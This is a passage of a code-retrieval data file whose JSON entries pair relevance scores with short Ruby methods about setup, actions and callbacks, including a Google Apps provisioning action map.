"c5904f93614d08afa38cc3f05f0d2365", "score": "0.53975695", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.539083", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53904355", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53776276", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53562194", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5350533", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.534902", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.534699", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53462875", "text": "def register_action(action); end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.53407806", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53303957", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.5306387", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5286867", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5280132", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.5259861", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.5259054", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.5249912", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52431136", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.52424717", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235239", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235239", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52312696", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52273864", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522314", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52216744", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.5219558", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.52127576", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5212529", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.5210596", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.52059865", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5205524", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5204952", "text": "def create_setup\n \n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.5204815", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5198996", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51947343", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51947343", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5193696", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51811314", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5180495", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51747334", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51747334", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51747334", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.51655006", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.51567245", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143453", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.5141531", "text": "def code_action_provider; end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51412797", "text": "def setup(params)\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51380795", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.5136178", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.51166797", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5115066", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5113276", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5106418", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5106418", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5106418", "text": "def action\n end", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.51045656", "text": "def block_actions options ; end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5104123", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.50958395", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.50957185", "text": "def add_callbacks(base); end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50936866", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" } ]
1e9efd49c72ca283a95ddf5da2525bdc
Returns true if the value has been set, false if not
[ { "docid": "e5f4d686cb21b9a65e4bd2e96c97bd2b", "score": "0.80178165", "text": "def has_value?\n\t\t!self.value.blank?\n\tend", "title": "" } ]
[ { "docid": "47136ad4b20886a386e56311c74fd389", "score": "0.8568667", "text": "def set?\n !@value.nil?\n end", "title": "" }, { "docid": "4c69e8be830b4935bd4fee56f235d3a1", "score": "0.8180226", "text": "def has_value?\n @has_value\n end", "title": "" }, { "docid": "900dab0b378448577574a4540918e682", "score": "0.81630045", "text": "def value_set?\n !@some_boolean.nil?\n end", "title": "" }, { "docid": "c9aa62ed52edb4b35c435fbde2087ee4", "score": "0.8105603", "text": "def explicitly_set_value?\n @explicitly_set_value == true\n end", "title": "" }, { "docid": "c9aa62ed52edb4b35c435fbde2087ee4", "score": "0.8105603", "text": "def explicitly_set_value?\n @explicitly_set_value == true\n end", "title": "" }, { "docid": "89fc1cda7bb57fb7fc0f69649452e3ca", "score": "0.8081769", "text": "def has_value?\n\n return @has_value\n\n end", "title": "" }, { "docid": "98ff2883f4c78e5aa8d4eacb804ba228", "score": "0.8004598", "text": "def value?\n @has_value\n end", "title": "" }, { "docid": "49d7d0d4fd1f8f4955153d7be8ab6244", "score": "0.79923856", "text": "def __value?\n @__has_value\n end", "title": "" }, { "docid": "85b3c204b5f9aa1862cd9a13a7215b7b", "score": "0.78889203", "text": "def value?\n !@no_value\n end", "title": "" }, { "docid": "aea7da9acace39dac6edf107953c67a7", "score": "0.78754795", "text": "def has_value?()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "3c155a4d220f1eaf8946412f32df5400", "score": "0.78477216", "text": "def value?\n !value.nil?\n end", "title": "" }, { "docid": "3c155a4d220f1eaf8946412f32df5400", "score": "0.78477216", "text": "def value?\n !value.nil?\n end", "title": "" }, { "docid": "1c8226d29396372c39f3c77b8bc7c9ac", "score": "0.7841054", "text": "def set?\n !value_before_cast.nil?\n end", "title": "" }, { "docid": "bcb848a359494bbec2958e08e9b41eec", "score": "0.7791738", "text": "def value?\n !value.nil?\n end", "title": "" }, { "docid": "35d83c608ebc8836c0cf74eed7a4b2a9", "score": "0.7783157", "text": "def set?\n @is_set\n end", "title": "" }, { "docid": "29986fd98ce96c34874e32f4bce22797", "score": "0.77532417", "text": "def value?\n @value != :__undefined__\n end", "title": "" }, { "docid": "44cd1a521dbe3ca4811813d6422f30da", "score": "0.76602906", "text": "def set?\n @data == 1 ? true : false\n end", "title": "" }, { "docid": "864e941789f174d2806f67bbafb03384", "score": "0.7649166", "text": "def set?\n valid\n end", "title": "" }, { "docid": "04759ff33ad7468763d5fbf40c30d477", "score": "0.760414", "text": "def value?\n @value\n end", "title": "" }, { "docid": "69b10d4b41bd52f70cf25ac6f79a86df", "score": "0.7589902", "text": "def filled_out?\n\t @value.nil?\n end", "title": "" }, { "docid": "e20b3b1cb4869b2ad33d98ff60909c7b", "score": "0.75848764", "text": "def has_value?\n if !@value.nil? and !@value.empty?\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "2a8899fd15af1a7cb7aa247588edafa5", "score": "0.75667226", "text": "def set?(value)\n !(value.nil? || value.respond_to?(:empty?) && value.empty?)\n end", "title": "" }, { "docid": "cd927a067c903620291763a5c89bfbe9", "score": "0.7560012", "text": "def has_value?\n !value.empty?\n end", "title": "" }, { "docid": "7470279aab7cebcff6f6ecded947fb35", "score": "0.754741", "text": "def has_value?(value)\r\n end", "title": "" }, { "docid": "1b302d484971829aa88398c04afb3e94", "score": "0.75135684", "text": "def set?\n @set\n end", "title": "" }, { "docid": "8a530a9fc5434e0063352150b8471811", "score": "0.747561", "text": "def has_value?\n ! no_value?\n end", "title": "" }, { "docid": "44c5ef2133e41827029d56411021cb7b", "score": "0.7435431", "text": "def busted?\n return value.nil?\n end", "title": "" }, { "docid": "aa1dd0604dc104351c1a978f9a665bf6", "score": "0.7432533", "text": "def set?\n !value.nil? || file? || baclava?\n end", "title": "" }, { "docid": "cd2480cb50a4e8872fed00cef175d869", "score": "0.73584366", "text": "def set?\n complete_value.is_a?(Hash)\n end", "title": "" }, { "docid": "cd2480cb50a4e8872fed00cef175d869", "score": "0.73584366", "text": "def set?\n complete_value.is_a?(Hash)\n end", "title": "" }, { "docid": "7a954f0d8ec4e955e8a6c229925540d3", "score": "0.7355359", "text": "def is_value?\n false\n end", "title": "" }, { "docid": "f730c16b9c409e5a22391fecd8e6c927", "score": "0.7320382", "text": "def single_value?\n return false\n end", "title": "" }, { "docid": "49d1cbeceb81d59b2d03cb9da6b98675", "score": "0.7312845", "text": "def requires_verification_value?\n @require_verification_value_set ||= false\n if @require_verification_value_set\n @require_verification_value\n else\n self.class.requires_verification_value?\n end\n end", "title": "" }, { "docid": "1a610346f62318b3e9d290d6b0b96260", "score": "0.7309338", "text": "def dirty?\n value != setting.value\n end", "title": "" }, { "docid": "59e31bbecf5f79333a84af7cc38c9fe9", "score": "0.728667", "text": "def has_known_value?\n !@unknown && (!@reset_val.is_a?(Symbol) || @updated_post_reset)\n end", "title": "" }, { "docid": "c89b3b2cf719b257ebb6e5893541672f", "score": "0.72828895", "text": "def valid?\n !@value.nil?\n end", "title": "" }, { "docid": "53ab34dfd22597073ec5d87eee3edbee", "score": "0.72605366", "text": "def isSet?\n assert_exists\n return @o.checked\n end", "title": "" }, { "docid": "53ab34dfd22597073ec5d87eee3edbee", "score": "0.72605366", "text": "def isSet?\n assert_exists\n return @o.checked\n end", "title": "" }, { "docid": "9651e9af7c50b823ddfec05c482cfcfd", "score": "0.72360855", "text": "def ready?\n !!@value\n end", "title": "" }, { "docid": "96d5c697f820b97603737caca06cbdca", "score": "0.72145766", "text": "def set?\n self.type == :set\n end", "title": "" }, { "docid": "ef68b3d2d7296848e4fcc3b3958c86aa", "score": "0.7209505", "text": "def value?\n value.any?\n end", "title": "" }, { "docid": "18cb116bf0fe57c7c686d72744703fe6", "score": "0.7168243", "text": "def single_value?\n true\n end", "title": "" }, { "docid": "ce5efdc0c5f651f1953f9e6d9739d97c", "score": "0.7156845", "text": "def filled?\n @value == 1\n end", "title": "" }, { "docid": "71903592f640017ae812f6fb43597231", "score": "0.7133508", "text": "def set?\n form ? form.instance_variable_defined?( \"@#{name}\" ) : false\n end", "title": "" }, { "docid": "0e2a943a44ab04225a0ef0cb7247d39d", "score": "0.7124587", "text": "def nil_value?\n @value.nil?\n end", "title": "" }, { "docid": "d154c7dfb7921fd1702bf3d0456cfa04", "score": "0.71219677", "text": "def value\n return false\n end", "title": "" }, { "docid": "603971d80d3f1127c9f949041496e9e6", "score": "0.71180004", "text": "def value?\n @fields.nil?\n end", "title": "" }, { "docid": "8079796ac7f37671be43e042375dccb9", "score": "0.7104548", "text": "def has_return_value?\n\t\t\treturn true if !self.class::DUPLICATION\n\t\t\treturn false if self.link_fieldlet.value.nil?\n\t\t\ttrue\n\t\tend", "title": "" }, { "docid": "acb5b187a8936a2e89e96f34f7c7f74f", "score": "0.7096592", "text": "def true?\n @mutex.lock\n @value\n ensure\n @mutex.unlock\n end", "title": "" }, { "docid": "8333ccb15a402d6a8b3c11acade492d0", "score": "0.7087234", "text": "def valueIsSet?(x)\n copy = self.dup\n copy.radio_value = x\n copy.exists? && copy.isSet?\n end", "title": "" }, { "docid": "033880b5bf2921be086920cd920ffc44", "score": "0.70803696", "text": "def value_present?\n value.present? || lab_test_value_id.present? || derived_value.present?\n end", "title": "" }, { "docid": "fd9ddeb2400f96b359405817eac12898", "score": "0.70714337", "text": "def has?(value)\n return get(value) != nil\n end", "title": "" }, { "docid": "cd562ab5ba7ebe6df5d4ad7390b11f78", "score": "0.7068223", "text": "def has_value(value); end", "title": "" }, { "docid": "f5bf2c59617ba8c4167115ca9ce1bb63", "score": "0.7043284", "text": "def has_value?(option)\n self[option].not_nil?\n end", "title": "" }, { "docid": "fe787ca2bd0bfaa06cfc99ab7d4a7a02", "score": "0.70360047", "text": "def defined?\n !@value.nil?\n end", "title": "" }, { "docid": "fe787ca2bd0bfaa06cfc99ab7d4a7a02", "score": "0.70360047", "text": "def defined?\n !@value.nil?\n end", "title": "" }, { "docid": "fe787ca2bd0bfaa06cfc99ab7d4a7a02", "score": "0.70360047", "text": "def defined?\n !@value.nil?\n end", "title": "" }, { "docid": "01c18624c0ef94beb4177776017929fc", "score": "0.70337564", "text": "def present?\n !!value\n end", "title": "" }, { "docid": "02e8396cccf58ec47f9258d5f32ffe9d", "score": "0.7017096", "text": "def value_stored?(key)\n !!get(key)\n end", "title": "" }, { "docid": "c9b1aca846c643a91d0bddbc27ae86da", "score": "0.6981902", "text": "def has_default_value?\n not default_value.nil?\n end", "title": "" }, { "docid": "f8423f80cb2071b7213f3dc1be3a7e69", "score": "0.6980392", "text": "def value_check\n \t@value\n end", "title": "" }, { "docid": "2c1d139d811049325e1ade86f7cfd8bf", "score": "0.69716287", "text": "def value?()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "b4ae20b60df31bf44eaff1a42d59c125", "score": "0.69603044", "text": "def unset?\n not set?\n end", "title": "" }, { "docid": "b20ab0cb20c925cc99f3299b1f951069", "score": "0.6957567", "text": "def param_set?\n !param_not_set?\n end", "title": "" }, { "docid": "843771c87eba105643d0dca30aac146e", "score": "0.6936238", "text": "def present?\n !value.nil?\n end", "title": "" }, { "docid": "bfe2151da3c3aaf66f7368159758b189", "score": "0.6934261", "text": "def checked?\n @value\n end", "title": "" }, { "docid": "da043f381f5bdce45daa21cfd7777b59", "score": "0.69287", "text": "def is_true?\n\t\treturn self.value == true\n\tend", "title": "" }, { "docid": "e92b4c1ccf3d46f7dfc06def62655e50", "score": "0.69223815", "text": "def value?(value)\n return self.value == value\n end", "title": "" }, { "docid": "dc88646533f2f6e998fa35f424c8749e", "score": "0.692063", "text": "def check\n @message = \"#{@value}\"\n !@value\n end", "title": "" }, { "docid": "4a850d62fdf4126e8095078492ab5be1", "score": "0.6911178", "text": "def set?\r\n assert_exists\r\n !@element.get_attribute('checked').nil?\r\n end", "title": "" }, { "docid": "76a120c2e950f34e82edd5b47cb6f34f", "score": "0.6909797", "text": "def value?(value); end", "title": "" }, { "docid": "76a120c2e950f34e82edd5b47cb6f34f", "score": "0.6909797", "text": "def value?(value); end", "title": "" }, { "docid": "76a120c2e950f34e82edd5b47cb6f34f", "score": "0.6909797", "text": "def value?(value); end", "title": "" }, { "docid": "a3a1be9fac14d80b9dd8f513a3945b8d", "score": "0.6901056", "text": "def has_value?(var)\n set?(var) && Dux.presentish?(@env[var])\n end", "title": "" }, { "docid": "1c869b549c744b87c8a69b4358879cdc", "score": "0.689854", "text": "def valid?\n if @default_value\n value_of_default_ok? && type_of_default_ok?\n else\n true\n end\n end", "title": "" }, { "docid": "aef913350c2ed04eb988cdca2319cc10", "score": "0.68925256", "text": "def set?\n assert_exists\n @element.selected?\n end", "title": "" }, { "docid": "aef913350c2ed04eb988cdca2319cc10", "score": "0.68925256", "text": "def set?\n assert_exists\n @element.selected?\n end", "title": "" }, { "docid": "a9832738896277d62f0a524744448f10", "score": "0.68806416", "text": "def blank_value?\n BlankValueChecker.new(@value).blank_value?\n end", "title": "" }, { "docid": "025eb659af30c9521244fdf104074b12", "score": "0.68661016", "text": "def isSet?\n raise UnknownObjectException if @o==nil\n return true if @o.checked\n return false\n end", "title": "" }, { "docid": "4477650ec00d8b5d0476aaae31912551", "score": "0.686609", "text": "def true?\n @value == true\n end", "title": "" }, { "docid": "859264d2731f313b05c7844c9a1deb22", "score": "0.6863413", "text": "def has_value?\n (value.respond_to? :to_s && value.to_s.size > 0) ? false : true\n end", "title": "" }, { "docid": "990b467f416bef524f0f960b8e9c7337", "score": "0.6862722", "text": "def filled?\n @value != 0\n end", "title": "" }, { "docid": "664c5f37f2a1aa13e21c6038501c3ed5", "score": "0.68617344", "text": "def setter?\n !@hash['setter'].nil?\n end", "title": "" }, { "docid": "e3be8a47d3cc8ee2796bc552ec6e4543", "score": "0.6855301", "text": "def value_required?\n self.form_config_id.blank? ? false : FormConfig.find(self.form_config_id).required\n end", "title": "" }, { "docid": "b7a5b249055ce91b38e35d68fcf1c0a7", "score": "0.6850057", "text": "def setter?\n @setter\n end", "title": "" }, { "docid": "f5e5eefaa82b25d680784656bee3e1b0", "score": "0.68440163", "text": "def value?(value)\n @store.value? value\n end", "title": "" }, { "docid": "35996f9792655392bb9a21e20ccb6e8b", "score": "0.6836937", "text": "def set?(bit)\n false\n end", "title": "" }, { "docid": "5a8b53fc57895028164c97bcaa3ac498", "score": "0.6833142", "text": "def empty?\n has_value?\n end", "title": "" }, { "docid": "5a8b53fc57895028164c97bcaa3ac498", "score": "0.6833142", "text": "def empty?\n has_value?\n end", "title": "" }, { "docid": "f56f502f4aa94a980a95e0a728c84d65", "score": "0.68273646", "text": "def unset?\n value == UNSET\n end", "title": "" }, { "docid": "c99f58f3d4981ea5853a4c4c9aa04c9d", "score": "0.68252283", "text": "def should_be_filled?\n @should_be_filled == true\n end", "title": "" }, { "docid": "8280cffeb1903ecb5148fc3206d453f8", "score": "0.6824933", "text": "def blank?\n @value.blank?\n end", "title": "" }, { "docid": "858e805f3c6ded02938dd9654edd6caf", "score": "0.68208706", "text": "def undefined?\n @value == undefined_value\n end", "title": "" }, { "docid": "8aec4cedac1cb9be41bd2a2a282bddf8", "score": "0.68165493", "text": "def set?\n @mutex.lock\n @set\n ensure\n @mutex.unlock\n end", "title": "" }, { "docid": "e9913821ede67e14e5d974ba9f1a4ae5", "score": "0.6814248", "text": "def verification_value?\n false\n end", "title": "" }, { "docid": "a2a232ff16ad4e292af5afe85f5dca76", "score": "0.68134874", "text": "def single_value?\n @type && @type.single_value?\n end", "title": "" }, { "docid": "e2dea972beaa9f4e7efaffe023ff3514", "score": "0.6809791", "text": "def _nil_value?\n @value.nil?\n end", "title": "" }, { "docid": "035db1e3ec1457d0d9b29534406aa17a", "score": "0.6783912", "text": "def optionally_valueless?\n !value? && definition? && attribute_definition.optional?\n end", "title": "" }, { "docid": "617b378f1ec4c1bce75d64a8a2006635", "score": "0.6777978", "text": "def checked?\n return nil if self[:value].nil?\n\n boolean? && self[:value] == 'true'\n end", "title": "" }, { "docid": "f5365ec1ffcf7e049a01f3a283f3263d", "score": "0.6759156", "text": "def clear?\n @value.nil?\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "7660b2106ed98fc31e10838677fb2e35", "score": "0.0", "text": "def set_unit\n @unit = Unit.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": 